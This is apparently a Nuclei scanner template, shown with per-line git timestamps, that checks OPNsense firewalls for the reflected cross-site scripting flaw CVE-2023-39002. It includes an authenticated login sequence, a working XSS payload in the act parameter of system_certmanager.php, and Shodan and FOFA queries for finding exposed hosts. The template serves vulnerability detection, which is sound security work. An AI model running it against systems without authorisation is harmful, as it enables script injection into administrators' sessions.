2023-10-12 14:12:29 +00:00
id : CVE-2023-39002
2023-09-11 05:28:49 +00:00
info :
2023-12-08 08:07:06 +00:00
name : OPNsense - Cross-Site Scripting
2023-10-01 09:08:57 +00:00
author : Herry
severity : medium
2023-10-12 14:17:35 +00:00
description : |
2023-10-12 14:12:29 +00:00
A cross-site scripting (XSS) vulnerability in the act parameter of system_certmanager.php in OPNsense before 23.7 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.
2023-10-01 09:08:57 +00:00
reference :
- https://logicaltrust.net/blog/2023/08/opnsense.html
2023-10-12 14:12:29 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2023-39002
2023-12-12 11:07:52 +00:00
- https://github.com/opnsense/core/commit/a4f6a8f8d604271f81984cfcbba0471af58e34dc
2023-10-12 14:12:29 +00:00
classification :
2023-12-12 11:07:52 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2023-10-12 14:12:29 +00:00
cve-id : CVE-2023-39002
2023-12-12 11:07:52 +00:00
cwe-id : CWE-79
2024-05-31 19:23:20 +00:00
epss-score : 0.00071
epss-percentile : 0.30401
2023-12-12 11:07:52 +00:00
cpe : cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*
2023-10-12 14:12:29 +00:00
metadata :
max-request : 3
2023-12-12 11:07:52 +00:00
vendor : opnsense
product : opnsense
2024-06-07 10:04:29 +00:00
shodan-query :
- title:"OPNsense"
- http.title:"opnsense"
2024-05-31 19:23:20 +00:00
fofa-query : title="opnsense"
google-query : intitle:"opnsense"
2024-01-14 09:21:50 +00:00
tags : cve2023,cve,opnsense,xss,authenticated,rce
2023-09-11 05:28:49 +00:00
http :
2023-10-12 14:12:29 +00:00
- raw :
- |
GET / HTTP/1.1
Host : {{Hostname}}
- |
POST / HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
{{para}}={{value}}&usernamefld={{username}}&passwordfld={{password}}&login=1
- |
GET /system_certmanager.php?act=%22%3E%3Csvg/onload=alert(document.domain)%3E&id=0 HTTP/1.1
Host : {{Hostname}}
2023-10-01 09:08:57 +00:00
2023-10-12 14:12:29 +00:00
matchers-condition : and
2023-09-11 05:28:49 +00:00
matchers :
- type : word
2023-10-12 14:12:29 +00:00
part : body_3
2023-10-01 09:08:57 +00:00
words :
2023-10-12 14:12:29 +00:00
- 'value=""><svg/onload=alert(window.origin)> "/>'
- type : word
part : header_3
words :
- "text/html"
- type : status
status :
- 200
extractors :
- type : regex
name : para
part : body
group : 1
regex :
- 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
internal : true
- type : regex
name : value
part : body
group : 2
regex :
- 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
internal : true
2024-06-08 16:02:17 +00:00
# digest: 4a0a004730450220648e359fb46c1d659f869a9bf80a9531bb4084585421f669e1718e685d5f6e25022100bcc807892e83e45f05bbf62bce39d41ac4e656c6f0d585f294b55a73de06771b:922c64590222798bb761d5b6d8e72950